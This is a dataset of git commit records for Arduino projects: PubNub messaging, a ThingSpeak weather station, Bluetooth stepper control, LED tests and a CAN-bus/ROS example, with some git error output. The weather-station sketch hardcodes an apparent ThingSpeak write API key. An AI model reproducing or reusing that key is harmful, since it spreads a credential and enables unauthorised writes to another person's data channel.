i++) {\n digitalWrite(ledPin, HIGH);\n delay(100);\n digitalWrite(ledPin, LOW);\n delay(100);\n }\n}\n\nvoid loop()\n{\n \n\n LWiFiClient *client;\n\n Serial.println(\"publishing a message\");\n\n client = PubNub.publish(channel, \"\\\"\\\\\\\"Hello world!\\\\\\\" she said.\\\"\");\n \n\n if (!client) {\n Serial.println(\"publishing error\");\n delay(1000);\n return;\n }\n while (client->connected()) {\n while (client->connected() && !client->available()); \/\/ wait\n char c = client->read();\n Serial.print(c);\n }\n client->stop();\n Serial.println();\n flash(pubLedPin);\n\n Serial.println(\"waiting for a message (subscribe)\");\n PubSubClient *pclient = PubNub.subscribe(channel);\n if (!pclient) {\n Serial.println(\"subscription error\");\n delay(1000);\n return;\n }\n while (pclient->wait_for_data()) {\n char c = pclient->read();\n Serial.print(c);\n }\n pclient->stop();\n Serial.println();\n flash(subLedPin);\n\n Serial.println(\"retrieving message history\");\n client = PubNub.history(channel);\n if (!client) {\n Serial.println(\"history error\");\n delay(1000);\n return;\n }\n while (client->connected()) {\n while (client->connected() && !client->available()); \/\/ wait\n char c = client->read();\n Serial.print(c);\n }\n client->stop();\n Serial.println();\n\n delay(10000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/PubNubWifi.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"982178db206b3fcd0b029bd77bbb28cc7891d238","subject":"Arduino code","message":"Arduino code\n\ncontains code for sensors\n","repos":"IdeBradley\/NorthernLight","old_file":"secondstationazure\/secondstationazure.ino","new_file":"secondstationazure\/secondstationazure.ino","new_contents":"\/\/ Code Update Notes\n\/\/ used original code for BMP180, modified sept1 to accommodate the Arduino Mega and connections....\n\/\/ contains code for BMP180 - pressure\/temp. magnetometer and wireless chip \n\/\/ loads to thingspeak and creates a JSON file for SQL Azure\n\/\/ second station upload\n\/\/ to do ( check error correction for Gauss, add temp coefficient ) \n\n\n\n\/\/ references to required libraries - reference program files\/Arduino\/libraries\n#include <TimerOne.h> \/\/ sets internalclock timer\n#include <stdio.h> \/\/ standard input and output\n#include <Wire.h> \/\/I2C Arduino Library\n#include <SFE_BMP180.h> \/\/ BMP180 library\n#include <Time.h> \/\/ needed for timestamp for JSON string\n#include <Adafruit_Sensor.h> \/\/ magnetometer library\n#include <Adafruit_HMC5883_U.h> \/\/ magnetometer library\n\n\n\/\/ set up definitions\n#define DEBUG true\n#define INTERVAL 30 \/\/ time between readings in seconds\n#define LEDPIN 13\n#define WIFISSID \"#############\"\n#define WIFIPASS \"#############\"\n#define MONITORBAUD 9600\n#define ESPBAUD 115200\n\/\/#define THINGSPEAKIP \"184.106.153.149\"\n#define THINGSPEAKIP \"api.thingspeak.com\"\n#define THINGSPEAKPORT \"80\"\n#define THINGSPEAKWRITEKEY \"1XJN1ZWJLF1Y4MA0\"\n#define AZUREIP \" \"\n#define AZUREPORT \"80\"\n#define AZUREWRITEKEY \" \"\n#define TIMESERVERIP \"159.134.168.46\"\n#define address 0x1E \/\/0011110b, I2C 7bit address of HMC5883\n\n\nAdafruit_HMC5883_Unified mag = Adafruit_HMC5883_Unified(00002);\n\nSFE_BMP180 pressure;\nint timerCnt = 0;\nint sensorPin = A0; \n\n void setup() {\n if(!mag.begin()) {\n if( DEBUG ) {\n Serial.println(\"Ooops, no HMC5883 detected ... Check your wiring!\");\n }\n while(1);\n }\n pinMode(LEDPIN, OUTPUT);\n digitalWrite(LEDPIN, 0);\n setupBMP180();\n if( DEBUG ) {\n Serial.begin(MONITORBAUD);\n }\n Serial1.begin(ESPBAUD);\n resetESP(); \n Timer1.initialize(1000000); \n Timer1.attachInterrupt( timerIsr ); \n}\n \n \n \nvoid loop() {\n if( analogRead(sensorPin) > 500 ) {\n digitalWrite(13, 1);\n } else {\n digitalWrite(13, 0); \n }\n delay(150);\n}\n \nvoid timerIsr() {\n interrupts(); \n timerCnt++;\n if( timerCnt > INTERVAL ){\n timerCnt = 0;\n makeThingspeakReading();\n \/\/makeAzureReading();\n }\n}\n\nvoid makeThingspeakReading() {\n \/\/ call subroutines to get the data\n double T= 0,P = 0;\n int x,y,z; \/\/ change for Gauss\n String stationID = \"court1\";\n \n T = getTemp();\n P = getPx( T );\n \n sensors_event_t event; \n mag.getEvent(&event);\n double xmag = event.magnetic.x; \n double ymag = event.magnetic.y;\n double zmag = event.magnetic.z;\n \n \n String cipstart = \"AT+CIPSTART=\\\"TCP\\\",\\\"\";\n cipstart += THINGSPEAKIP;\n cipstart += \"\\\",\";\n cipstart += THINGSPEAKPORT;\n String reply = sendData(cipstart, \"OK\", 1000 ); \n if( reply.indexOf( \"CONNECT\" ) <= -1 ) {\n resetESP();\n if( DEBUG ) {\n Serial.println( \"Reset!\" );\n }\n cipstart = \"AT+CIPSTART=\\\"TCP\\\",\\\"\";\n cipstart += THINGSPEAKIP;\n cipstart += \"\\\",\";\n cipstart += THINGSPEAKPORT;\n String reply = sendData(cipstart, \"OK\", 1000 );\n }\n\/\/ String cmd = \"GET \/update?key=\";\n\/\/ cmd += THINGSPEAKWRITEKEY;\n\/\/ cmd += \"&field1=\";\n\/\/ cmd += T;\n\/\/ cmd += \"&field2=\";\n\/\/ cmd += P;\n\/\/ cmd += \"\\r\\n\";\n\n\/\/ ** add magnetometer fields\n \/\/build data string for Thingspeak out of temperature, pressure, x,y,z\n String data = \"field1=\";\n data += T;\n data += \"&field2=\";\n data += P;\n data += \"&field3=\";\n data += xmag;\n data += \"&field4=\";\n data += ymag;\n data += \"&field5=\";\n data += zmag;\n data += \"&field6=\";\n data += 02;\n data += \"\\r\\n\";\n Serial.print(\"Debug1: \");\n Serial.println(data );\n \n String key = \"X-THINGSPEAKAPIKEY: \";\n key += THINGSPEAKWRITEKEY;\n key += \"\\r\\n\";\n \n String length = \"Content-Length: \";\n length += data.length();\n length += \"\\r\\n\";\n String cmd = \"POST \/update HTTP\/1.1\\r\\n\";\n cmd += \"Host: api.thingspeak.com\\r\\n\";\n cmd += \"Connection: close\\r\\n\";\n cmd += key;\n cmd += \"Content-Type: application\/x-www-form-urlencoded\\r\\n\";\n cmd += length;\n cmd += \"\\r\\n\";\n cmd += data;\n httpWrite( cmd, \"CLOSED\" );\n \n \/\/ Get initial webTimeStamp. The Arduino has no time keeping facility so needs to get data from somewhere\n cipstart = \"AT+CIPSTART=\\\"TCP\\\",\\\"\";\n cipstart += TIMESERVERIP;\n cipstart += \"\\\",\";\n cipstart += THINGSPEAKPORT;\n reply = sendData(cipstart, \"OK\", 1000 ); \n cmd = \"GET \/index.html HTTP\/1.1\\r\\n Host: www.google.com\\r\\n\\r\\n\\r\\n\"; \/\/construct http GET request\n String cmd1 = \"AT+CIPSEND=\";\n cmd1 += cmd.length();\n sendData( cmd1, \">\", 2000 ); \n \/\/sendData( cmd, \"OK\", 2000 ); \n String webTimeStamp = sendTimeData( cmd, 10000 ); \n formatTime(webTimeStamp);\n \n String test1 = writeJsonString(stationID,P, T,x,y,z);\n Serial.print(\"Debug2: \" );\n Serial.println(test1);\n}\nvoid makeAzureReading() {\n \/\/ call subroutines to get the data\n double T= 0,P = 0;\n int x,y,z; \/\/ change for Gauss\n String stationID = \"court1\";\n \n T = getTemp();\n P = getPx( T );\n \n sensors_event_t event; \n mag.getEvent(&event);\n double xmag = event.magnetic.x; \n double ymag = event.magnetic.y;\n double zmag = event.magnetic.z;\n \n \n String cipstart = \"AT+CIPSTART=\\\"TCP\\\",\\\"\";\n cipstart += AZUREIP;\n cipstart += \"\\\",\";\n cipstart += AZUREPORT;\n String reply = sendData(cipstart, \"OK\", 1000 ); \n if( reply.indexOf( \"CONNECT\" ) <= -1 ) {\n resetESP();\n if( DEBUG ) {\n Serial.println( \"Reset!\" );\n }\n cipstart = \"AT+CIPSTART=\\\"TCP\\\",\\\"\";\n cipstart += AZUREIP;\n cipstart += \"\\\",\";\n cipstart += AZUREPORT;\n String reply = sendData(cipstart, \"OK\", 1000 );\n }\n\n\n\/\/ ** add magnetometer fields\n \/\/build data string for Thingspeak out of temperature, pressure, x,y,z\n String data = \"field1=\";\n data += T;\n data += \"&field2=\";\n data += P;\n data += \"&field3=\";\n data += xmag;\n data += \"&field4=\";\n data += ymag;\n data += \"&field5=\";\n data += zmag;\n data += \"&field6=\";\n data += 02;\n data += \"\\r\\n\";\n Serial.print(\"Debug1: \");\n Serial.println(data );\n \n String key = \"X-THINGSPEAKAPIKEY: \";\n key += THINGSPEAKWRITEKEY;\n key += \"\\r\\n\";\n \n String length = \"Content-Length: \";\n length += data.length();\n length += \"\\r\\n\";\n String cmd = \"POST \/tables\/weather\/ HTTP\/1.1\\r\\n\";\n cmd += \"Host: api.thingspeak.com\\r\\n\";\n cmd += \"Connection: close\\r\\n\";\n cmd += key;\n cmd += \"Content-Type: application\/x-www-form-urlencoded\\r\\n\";\n cmd += length;\n cmd += \"\\r\\n\";\n cmd += data;\n httpWrite( cmd, \"CLOSED\" );\n \n \/\/ Get initial webTimeStamp. The Arduino has no time keeping facility so needs to get data from somewhere\n cipstart = \"AT+CIPSTART=\\\"TCP\\\",\\\"\";\n cipstart += TIMESERVERIP;\n cipstart += \"\\\",\";\n cipstart += THINGSPEAKPORT;\n reply = sendData(cipstart, \"OK\", 1000 ); \n cmd = \"GET \/index.html HTTP\/1.1\\r\\n Host: www.google.com\\r\\n\\r\\n\\r\\n\"; \/\/construct http GET request\n String cmd1 = \"AT+CIPSEND=\";\n cmd1 += cmd.length();\n sendData( cmd1, \">\", 2000 ); \n \/\/sendData( cmd, \"OK\", 2000 ); \n String webTimeStamp = sendTimeData( cmd, 10000 ); \n formatTime(webTimeStamp);\n \n String test1 = writeJsonString(stationID,P, T,x,y,z);\n Serial.print(\"Debug2: \" );\n Serial.println(test1);\n}\n\nvoid resetESP() {\n sendData( \"AT+RST\",\"Ai-Thinker Technology Co. Ltd\", 10000 );\n sendData( \"AT+CWMODE=3\", \"OK\", 10000 );\n String cwjap = \"AT+CWJAP=\\\"\";\n cwjap += WIFISSID;\n cwjap += \"\\\",\\\"\";\n cwjap += WIFIPASS;\n cwjap += \"\\\"\";\n sendData( cwjap, \"OK\", 10000 ); \n}\n\nvoid httpWrite( String cmd, String res ){\n String cmd1 = \"AT+CIPSEND=\";\n cmd1 += cmd.length();\n sendData( cmd1, \">\", 10000 ); \n sendData( cmd, res, 10000 ); \n}\n \nString sendData( String command, String res, const int timeout ) {\n String response = \"\";\n Serial1.print( command ); \n Serial1.print( \"\\r\\n\" ); \n long int time = millis();\n while( (time + timeout) > millis() && response.indexOf( res ) < 0 ) {\n while(Serial1.available()) { \n char c = Serial1.read(); \n response+=c;\n } \n }\n if( DEBUG ) {\n Serial.print( response );\n }\n return response;\n}\n\nString sendTimeData(String command, const int timeout) {\n \/\/ get time from a current server to use in setting up Arduino clock\n String response = \"\";\n Serial1.print(command); \n Serial1.print(\"\\r\\n\"); \n long int time = millis();\n while( (time+timeout) > millis()&& response.indexOf(\"Server\") < 0 ) {\n while(Serial1.available()) { \n char c = Serial1.read(); \n response+=c;\n } \n }\n response =response.substring(response.indexOf(\"Date\")+11,response.indexOf(\"Server\") );\n \n if(DEBUG) {\n Serial.print(response);\n }\n return response;\n}\n\n\/\/\nvoid formatTime(String webTimeStamp)\n{\n \n int curDay = (webTimeStamp.substring(0,2)).toInt();\n int curMon =10;\n int curYear = (webTimeStamp.substring(7,11)).toInt();\n int curHour = (webTimeStamp.substring(12,14)).toInt();\n int curMin= (webTimeStamp.substring(15,17)).toInt();\n int curSec = (webTimeStamp.substring(18,20)).toInt();\n setTime(curHour,curMin,curSec,curDay,curMon,curYear); \n}\n\n\/\/String sendData(String command, String term, const int timeout) {\n\/\/ String response = \"\";\n\/\/ Serial1.print(command); \n\/\/ Serial1.print(\"\\r\\n\"); \n\/\/ long int time = millis();\n\/\/ while( (time+timeout) > millis() && response.indexOf( term ) < 0 ) {\n\/\/ while(Serial1.available()) { \n\/\/ char c = Serial1.read(); \n\/\/ response+=c;\n\/\/ } \n\/\/ }\n\/\/ if(DEBUG) {\n\/\/ Serial.print(response);\n\/\/ }\n\/\/ return response;\n\/\/}\n\n\/\/ DataRow readout \n String writeJsonString(String stationID, float p, float t, float xmag, float ymag, float zmag) \n {\n \/\/ Create a simple JSON;\n String datarow = \"{\\\"StationID\\\":\";\n datarow += stationID ;\n \/\/ need a unique ID for each one ; Primary Key is stationID and Timestamp concatenated\n datarow += \",\\\"TimeStamp\\\":\";\n datarow += now();\n datarow += \",\\\"Pressure\\\":\";\n datarow += p;\n datarow += \",\\\"Temperature\\\":\";\n datarow += t;\n datarow += \",\\\"X-Axis\\\":\";\n datarow += xmag;\n datarow += \",\\\"Y-Axis\\\":\";\n datarow += ymag;\n datarow += \",\\\"Z-Axis\\\":\";\n datarow += zmag;\n datarow += \"}\";\n Serial1.println(datarow);\n return (datarow);\n }\n\n\n\n\/\/ Procedures for pressure, temperature\n \n \n\nvoid setupHMC5883L() {\n Wire.begin();\n Wire.beginTransmission( address );\n Wire.write( 0x02 );\n Wire.write( 0x00 );\n Wire.endTransmission();\n}\n\nvoid setupBMP180() {\n if (!pressure.begin()) {\n Serial.println(\"BMP180 init fail\\n\\n\");\n while (1); \/\/ Pause forever.\n }\n Serial.println( \"Pressure on\" );\n}\n\n\n\ndouble getPx( double T ) {\n char status;\n double P = 0;\n\n\n\n status = pressure.startPressure( 3 );\n if ( status != 0 ) {\n delay( status );\n status = pressure.getPressure( P, T );\n }\n return P;\n}\n\ndouble getTemp() {\n char status;\n double T = 0;\n status = pressure.startTemperature();\n if ( status != 0 ) {\n delay(status);\n pressure.getTemperature( T );\n }\n return T;\n}\n\n\/\/\/ edit...\n \n \n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'secondstationazure\/secondstationazure.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"848c8d8f74c8d2c9015e92ca2d7d7c58b7365f1a","subject":"I'm adding the program that is currently running the power system. Later this program will become obsolete and will be ran by a pic microprocessor (it is a cheaper processor).","message":"I'm adding the program that is currently running the power system. Later this program will become obsolete and will be ran by a pic microprocessor (it is a cheaper processor).\n","repos":"upperman\/Wireless-Led-Display,upperman\/Wireless-Led-Display","old_file":"Software\/power_system_program\/power_system_program.ino","new_file":"Software\/power_system_program\/power_system_program.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/upperman\/Wireless-Led-Display.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"a647eeb94ec29d6d7a97f713832beb177a8ffad5","subject":"adding a test file for driver using bluetooth","message":"adding a test file for driver using bluetooth\n","repos":"mck-dajiao\/709No2","old_file":"testWithBT\/testWithBT.ino","new_file":"testWithBT\/testWithBT.ino","new_contents":"\/*\n test driver servo with bluetooth in arduino mega\nDate :\t\t2013\/11\/11\nAuthor:\t\tdajiao\n\n*\/\n\n#include <Stepper.h>\n\nconst int stepPer = 200;\nint led = 13;\nint begin;\nint i, j, k; \nchar buffer[100];\nchar ins[2];\n\nStepper stepper1(stepPer, 4, 5, 6, 7);\nStepper stepper2(stepPer, 8, 9, 10, 11);\n\nvoid goAhead(){\n \n for(i = 0; i < 50; i++){\n stepper1.step(4);\n\tstepper2.step(4);\n }\n\t\n\n\tSerial.println(\"Go ahead\");\n}\n\nvoid goBack(){\n\n\tstepper1.step(-stepPer);\n\tstepper2.step(-stepPer);\n\tSerial.println(\"Go Back\");\n}\n\nvoid turnLeft(){\n\n\tstepper1.step(-stepPer);\n\tstepper2.step(stepPer);\n\tSerial.println(\"Turn Left\");\n\n}\n\nvoid turnRight(){\n\n\tstepper1.step(stepPer);\n\tstepper2.step(-stepPer);\n\tSerial.println(\"Turn Right\");\n}\n\nvoid stepControl(char inst){\n\n\tswitch(inst){\n\t\t\/\/ go ahead \n\t\tcase '1': goAhead();\n\t\t\tbreak;\n\t\t\/\/ go back \n\t\tcase '2': goBack();\n\t\t\tbreak;\n\t\t\/\/ turn left\n\t\tcase '3': turnLeft();\n\t\t\tbreak;\n\t\t\/\/ turn right\n\t\tcase '4': turnRight();\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tSerial.println(\"Error\");\n\t}\n}\n\nvoid other(char inst){\n\n}\n\nvoid test(char inst){\n\tint l;\n\tfor(l = 0; l <inst; l++){\n\t\tstepper1.step(1);\n\t\tstepper2.step(1);\n\t}\n}\n\nvoid setup(){\n\tstepper1.setSpeed(60);\n\tstepper2.setSpeed(60);\n\n\tSerial.begin(9600);\n\tSerial1.begin(9600);\n\t\/\/ Serial1.println(\"AT+NAMEdajiao\");\t\/\/ set up the id for bluetooth\n}\n\nvoid loop(){\n\n\n\tif(Serial1.available()){\n\n\t\tSerial.println(\"loop step1\");\n\n\t\tbegin = Serial1.read();\n\t\t\n\t\tSerial.println(\"loop step2\");\n Serial.println(begin);\n\t\tif(begin==35){\n \n\t\tSerial.println(\"loop step3\");\n\t \t\tSerial1.readBytes(ins, 2);\n\t\t\tswitch(ins[0]){\n\t\t\t\tcase '1': \n\t\t\t\t\tSerial.println(\"switch step1\");\n\t\t\t\t\tstepControl(ins[1]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase '2': \n\t\t\t\t\tSerial.println(\"switch step2\");\n\t\t\t\t\tother(ins[1]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase '3':\n\t\t\t\t\tSerial.println(\"switch step3\");\n\t\t\t\t\ttest(ins[1]);\n\t\t\t\tdefault: \n\t\t\t\t\tbreak;\n\t\t\t}\n \n Serial.println(\"end of if #\");\n\t\t\tbegin = 0;\n\t\t}\n \n Serial.println(\"end of available\");\n\n\t}\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testWithBT\/testWithBT.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"88906fc585e7679ef6e5c6d9aa2f2329f72ac634","subject":"proceeding to test accelerometer","message":"proceeding to test accelerometer\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"motion.ino","new_file":"motion.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7075a83a8c2c075edca5b8135032179ef49ca79a","subject":"New example","message":"New example\n\ndemonstrates timer functions","repos":"philbowles\/esparto,philbowles\/esparto,philbowles\/esparto,philbowles\/esparto","old_file":"examples\/ESPArto_timer_functions\/ESPArto_timer_functions.ino","new_file":"examples\/ESPArto_timer_functions\/ESPArto_timer_functions.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/philbowles\/esparto.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b5e8d9a95c350fa134b96036a305b3ac785767e4","subject":"Working on Demo3 that works on the Fab example boards","message":"Working on Demo3 that works on the Fab example boards\n\nMaking adjustments for a demo using the fab example boards. These\nboards are ATTiny45 based, which may throw an error when compiling. I\nfixed it using the second to last post from:\nhttps:\/\/code.google.com\/p\/arduino-tiny\/issues\/detail?id=58\n","repos":"charlesfracchia\/SDIP-Arduino,charlesfracchia\/SDIP-Arduino","old_file":"demo3\/demo3\/demo3.ino","new_file":"demo3\/demo3\/demo3.ino","new_contents":"#include <SoftwareSerial.h>\n\/\/include <Streaming.h>\n\nSoftwareSerial mySerial(1,2);\n\n\/\/ These constants won't change. They're used to give names\n\/\/ to the pins used:\nunsigned long time;\nunsigned long last_time;\nunsigned int num_samples;\nint i = 0;\nString sensorName = \"Light Sensor\";\nString address = \"Charles' Bench\";\nString preamble = \"{\\\"sender\\\":{\\\"address\\\":\\\"\" + address + \"\\\",\\\"time-format\\\":\\\"microsecs\\\",\\\"start-time\\\":[]},\\\"data\\\":[{\\\"name\\\":\";\nString line;\n\nconst int analogInPin = 3; \/\/ Analog input pin that the potentiometer is attached to\n\nint sensorValue = 0; \/\/ value read from the pot\nint outputValue = 0; \/\/ value read from the pot\n\nvoid setup() {\n \/\/ initialize serial communications at 9600 bps:\n mySerial.begin(9600);\n last_time = micros();\n}\n\nvoid loop() {\n if (i == 0){\n line + preamble + \"\\\"\" + sensorName + \"\\\"\" + \",\\\"vals\\\":[\";\n i++;\n \n } else if (i > 0 && i < num_samples){\n time = micros() - last_time;\n sensorValue = analogRead(analogInPin);\n line + \"{\\\"time\\\":\" + time + \",\\\"val\\\":\" + map(sensorValue, 0, 1023, 0, 255) + \"},\\n\";\n i++;\n \n } else if (i == num_samples){\n sensorValue = analogRead(analogInPin);\n line + \"{\\\"time\\\":\" + time + \",\\\"val\\\":\" + map(sensorValue, 0, 1023, 0, 255) + \"}]}]}\\n\\n\";\n i = 0;\n last_time = micros();\n mySerial.print(line);\n } \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'demo3\/demo3\/demo3.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"728d79b24071bf8abc03c23c7d835e194292184b","subject":"Added the HMTL_Bringup utility","message":"Added the HMTL_Bringup utility\n","repos":"HMTL\/HMTL,aphelps\/HTML,aphelps\/HMTL,HMTL\/HMTL,aphelps\/HTML,aphelps\/HMTL,aphelps\/HTML,HMTL\/HMTL,aphelps\/HTML,aphelps\/HMTL,aphelps\/HMTL,HMTL\/HMTL","old_file":"HMTL_Modules\/HMTL_Bringup\/HMTL_Bringup.ino","new_file":"HMTL_Modules\/HMTL_Bringup\/HMTL_Bringup.ino","new_contents":"#define DEBUG_LEVEL DEBUG_HIGH\n#include \"Debug.h\"\n\n#include \"SPI.h\"\n#include \"Adafruit_WS2801.h\"\n\n#define HMTL_VERSION 2\n#if HMTL_VERSION == 1\n#define RED_LED 9\n#define GREEN_LED 10\n#define BLUE_LED 11\n\n#define DEBUG_LED 13\n#elif HMTL_VERSION == 2\n#define RED_LED 10\n#define GREEN_LED 11\n#define BLUE_LED 13\n#endif\n\n#define DATA_PIN 12\n#define CLOCK_PIN 8\nAdafruit_WS2801 strip = Adafruit_WS2801(45, DATA_PIN, CLOCK_PIN);\n\nvoid setup() {\n Serial.begin(9600);\n\n pinMode(RED_LED, OUTPUT);\n pinMode(BLUE_LED, OUTPUT);\n pinMode(GREEN_LED, OUTPUT);\n\n#ifdef DEBUG_LED\n pinMode(DEBUG_LED, OUTPUT);\n#endif\n\n strip.begin();\n for (int i = 0; i < strip.numPixels(); i++) {\n strip.setPixelColor(i, 0);\n }\n strip.show();\n}\n\nvoid loop() {\n\n#ifdef DEBUG_LED\n for (int i=0; i < strip.numPixels(); i++) \n strip.setPixelColor(i, 255, 255, 255); \n strip.show();\n digitalWrite(DEBUG_LED, HIGH);\n\n delay(1000);\n digitalWrite(DEBUG_LED, LOW);\n#endif\n\n digitalWrite(RED_LED, HIGH);\n for (int i=0; i < strip.numPixels(); i++) \n strip.setPixelColor(i, 255, 0, 0); \n strip.show();\n\n delay(1000);\n\n digitalWrite(RED_LED, LOW);\n digitalWrite(GREEN_LED, HIGH);\n for (int i=0; i < strip.numPixels(); i++) \n strip.setPixelColor(i, 0, 255, 0); \n strip.show();\n\n delay(1000);\n\n digitalWrite(GREEN_LED, LOW);\n digitalWrite(BLUE_LED, HIGH);\n for (int i=0; i < strip.numPixels(); i++) \n strip.setPixelColor(i, 0, 0, 255); \n strip.show();\n\n delay(1000);\n\n digitalWrite(BLUE_LED, LOW);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'HMTL_Modules\/HMTL_Bringup\/HMTL_Bringup.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5d2a7ed2a3b6e32a548f569d2ad050c0b7996a8b","subject":"Changes for 1.0.0 Hardware","message":"Changes for 1.0.0 Hardware\n\nChanges for 1.0.0 Hardware\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"9bbd6bacec1339d063b5c984887f5ce93bc3dfdf","subject":"upgraded restserver example","message":"upgraded restserver example\n","repos":"arduino-org\/CiaoMCU","old_file":"examples\/CiaoRestServer\/CiaoRestServer.ino","new_file":"examples\/CiaoRestServer\/CiaoRestServer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/arduino-org\/CiaoMCU.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"34f96bffe786538fde97fa1bc9c39ebb36b56004","subject":"added receive_blink_ros example, this can help to get ROS interfaced with arduino an CAN","message":"added receive_blink_ros example, this can help to get ROS interfaced with arduino an CAN\n","repos":"Seeed-Studio\/CAN_BUS_Shield,peppeve\/CAN_BUS_Shield,bethoma\/CAN_BUS_Shield,bethoma\/CAN_BUS_Shield,sqlbyme\/CAN_BUS_Shield,wdross\/CAN_BUS_Shield,ro0lz\/CAN_BUS_Shield,Ductapemaster\/Teensy3_MCP2515,wdross\/CAN_BUS_Shield,calufrax\/CAN_BUS_Shield,adlerweb\/CAN_BUS_Shield,niklo666\/CAN_BUS_Shield-1,sqlbyme\/CAN_BUS_Shield,peppeve\/CAN_BUS_Shield,niklo666\/CAN_BUS_Shield-1,ro0lz\/CAN_BUS_Shield,calufrax\/CAN_BUS_Shield,Seeed-Studio\/CAN_BUS_Shield,adlerweb\/CAN_BUS_Shield,Ductapemaster\/Teensy3_MCP2515","old_file":"examples\/send_Blink_ROS\/send_Blink_ROS.ino","new_file":"examples\/send_Blink_ROS\/send_Blink_ROS.ino","new_contents":"\/\/ demo: CAN-BUS Shield, send data\n#include <mcp_can.h>\n#include <SPI.h>\n\n\/\/ROS\n#include <ros.h>\n#include <std_msgs\/Empty.h>\n\nros::NodeHandle nh;\n\nconst int SPI_CS_PIN = 9;\nconst int ledHIGH=1;\nconst int ledLOW=0;\nunsigned char stmp[8] = {ledHIGH, 1, 2, 3, ledLOW, 5, 6, 7};\n\nMCP_CAN CAN(SPI_CS_PIN); \/\/ Set CS pin\n\nvoid messageCb( const std_msgs::Empty& toggle_msg){\n \/\/digitalWrite(13, HIGH-digitalRead(13)); \/\/ blink the led\n \/\/ send data: id = 0x00, standrad frame, data len = 8, stmp: data buf\n CAN.sendMsgBuf(0x70,0, 8, stmp);\n delay(1000); \/\/ send data per 100ms\n}\n\nros::Subscriber<std_msgs::Empty> sub(\"toggle_led\", &messageCb );\n\n\/\/ the cs pin of the version after v1.1 is default to D9\n\/\/ v0.9b and v1.0 is default D10\n\n\n\nvoid setup()\n{\n Serial.begin(115200);\n nh.initNode();\n nh.subscribe(sub);\n\nSTART_INIT:\n\n if(CAN_OK == CAN.begin(CAN_500KBPS)) \/\/ init can bus : baudrate = 500k\n {\n Serial.println(\"CAN BUS Shield init ok!\");\n }\n else\n {\n Serial.println(\"CAN BUS Shield init fail\");\n Serial.println(\"Init CAN BUS Shield again\");\n delay(100);\n goto START_INIT;\n }\n}\n\n\nvoid loop()\n{ \n \n nh.spinOnce();\n delay(1);\n}\n\n\/*********************************************************************************************************\n END FILE\n*********************************************************************************************************\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/send_Blink_ROS\/send_Blink_ROS.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dc795804bde0a2c880040cc23ec7f182bb15f9b7","subject":"Create test_three_moving_pixels_v3.ino","message":"Create test_three_moving_pixels_v3.ino\n\nExample of moving three separate pixels. Pixels wrap around LED strip when they reach the end.\r\nDirection can be reversed by changing line 18 variable.","repos":"marmilicious\/FastLED_examples","old_file":"test_three_moving_pixels_v3.ino","new_file":"test_three_moving_pixels_v3.ino","new_contents":"\/\/***************************************************************\n\/\/ Three moving pixels example\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n#define LED_TYPE NEOPIXEL \/\/ ***Update to your strip type. NEOPIXEL, APA102, LPD8806, etc.\n#define DATA_PIN 6 \/\/ ***Remember to set this to your data pin\n\/\/#define CLOCK_PIN 13 \/\/ ***Remember to set this to your clock pin\n#define NUM_LEDS 12 \/\/ ***Remember to set this to your strip length\n\/\/#define COLOR_ORDER BGR\n#define MASTER_BRIGHTNESS 100 \/\/ Master brightness range is 0-255\nCRGB leds[NUM_LEDS];\nint16_t positionWhite = 4; \/\/ Set initial start position of White pixel\nint16_t positionRed = 0; \/\/ Set initial start position of Red pixel\nint16_t positionBlue = 8; \/\/ Set initial start position of Blue pixel\n\nuint16_t holdTime = 1000; \/\/ Milliseconds to hold position before advancing\nint8_t 